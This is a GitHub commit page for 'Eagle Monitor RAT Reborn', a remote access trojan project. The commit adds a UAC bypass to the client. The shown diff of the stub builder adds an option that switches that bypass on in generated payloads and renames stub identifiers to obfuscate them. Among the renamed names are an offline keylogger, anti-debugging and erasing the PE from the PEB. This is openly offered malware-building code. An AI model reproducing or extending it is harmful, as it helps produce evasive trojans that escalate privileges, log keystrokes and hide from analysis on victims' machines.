Skip to content

Commit

Permalink
3.2.4.0
Browse files Browse the repository at this point in the history
* [New][Client] BypassUAC
* [New] Added TCP Connection view
* [Tweaks][UI] Optimization (imagelist, tabcontrol...)
* [New] Added total clients on main UI
* [Fix] Some logs could cause crash/be not displayed
* [Tweaks] Optimization for PacketHandler (methods full static)
* [Tweaks] Optimization for ClientHandler (methods full static)
* [Tweaks] Optimization for ServerHandler (methods full static)
  • Loading branch information
arsium committed Dec 12, 2022
1 parent 3070722 commit 754b208
Show file tree
Hide file tree
Showing 302 changed files with 3,501 additions and 2,312 deletions.
191 changes: 104 additions & 87 deletions Remote Access Tool/C2/client.cs

Large diffs are not rendered by default.

Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
// <autogenerated />
using System;
using System.Reflection;
//[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
Binary file modified Remote Access Tool/C2/obj/Release/C2.csproj.AssemblyReference.cache
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -1 +1 @@
105dcd742de8ee0e0a6fddc63b452b7228bc3b02
cda5eb7bc6e232f33e621e1a1a38483d03ae39f6
Binary file modified Remote Access Tool/C2/obj/Release/C2.exe
Binary file not shown.
Binary file modified Remote Access Tool/C2/obj/Release/C2.pdb
Binary file not shown.
Binary file not shown.
55 changes: 38 additions & 17 deletions Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -95,6 +95,13 @@ internal static bool BuildClient()
else
LogStep("Skipping anti-debug..." + Environment.NewLine);

if (Program.mainForm.bypassICMLuaUtilGuna2CheckBox.Checked)
{
LogStep("Setting bypass uac..." + Environment.NewLine);
stub = stub.Replace("bypassUAC = false;", "bypassUAC = true;");
}
else
LogStep("Skipping bypass uac..." + Environment.NewLine);

LogStep("Renaming code..." + Environment.NewLine);

Expand All @@ -110,32 +117,46 @@ internal static bool BuildClient()
stub = Rename(stub, "MakeInstall");
stub = Rename(stub, "StartOfflineKeylogger");
stub = Rename(stub, "DomCheck");
stub = Rename(stub, "ConnectStart");
stub = Rename(stub, "EndLoadPlugin");
stub = Rename(stub, "LoadPlugin");
stub = Rename(stub, "SendPacket");
stub = Rename(stub, "PacketHandler");
stub = Rename(stub, "ParsePacket");
stub = Rename(stub, "ReceiveData");
stub = Rename(stub, "EndDataRead");
stub = Rename(stub, "PacketParser");
stub = Rename(stub, "EndPacketRead");
stub = Rename(stub, "SendDataCompleted");
stub = Rename(stub, "EndConnect");
//

//Delegates
stub = Rename(stub, "ReadDataAsync");
stub = Rename(stub, "readDataAsync");

stub = Rename(stub, "ReadPacketAsync");
stub = Rename(stub, "readPacketAsync");
stub = Rename(stub, "ParsePacketAsync");
stub = Rename(stub, "parsePacketAsync");

stub = Rename(stub, "ConnectAsync");
stub = Rename(stub, "connectAsync");

stub = Rename(stub, "SendDataAsync");
stub = Rename(stub, "sendDataAsync");
stub = Rename(stub, "SendData");
//

stub = Rename(stub, "LoadPluginAsync");
stub = Rename(stub, "loadPluginAsync");
//Methods
stub = Rename(stub, "StartConnect");
stub = Rename(stub, "EndConnect");

stub = Rename(stub, "StartReceive");
stub = Rename(stub, "EndReceive");

stub = Rename(stub, "LoadPlugin");
stub = Rename(stub, "EndLoadPlugin");

stub = Rename(stub, "ParsePacket");
stub = Rename(stub, "EndParsePacket");

stub = Rename(stub, "StartSendPacket");
stub = Rename(stub, "EndSendPacket");

//Class
stub = Rename(stub, "PacketHandler");
stub = Rename(stub, "HandlePacket");

stub = Rename(stub, "ClientHandler");
stub = Rename(stub, "clientHandler");

//Options
stub = Rename(stub, "offKeylog");
stub = Rename(stub, "antiDBG");
stub = Rename(stub, "erasePEFromPEB");
Expand Down

Large diffs are not rendered by default.

Loading

0 comments on commit 754b208

Please sign in to comment.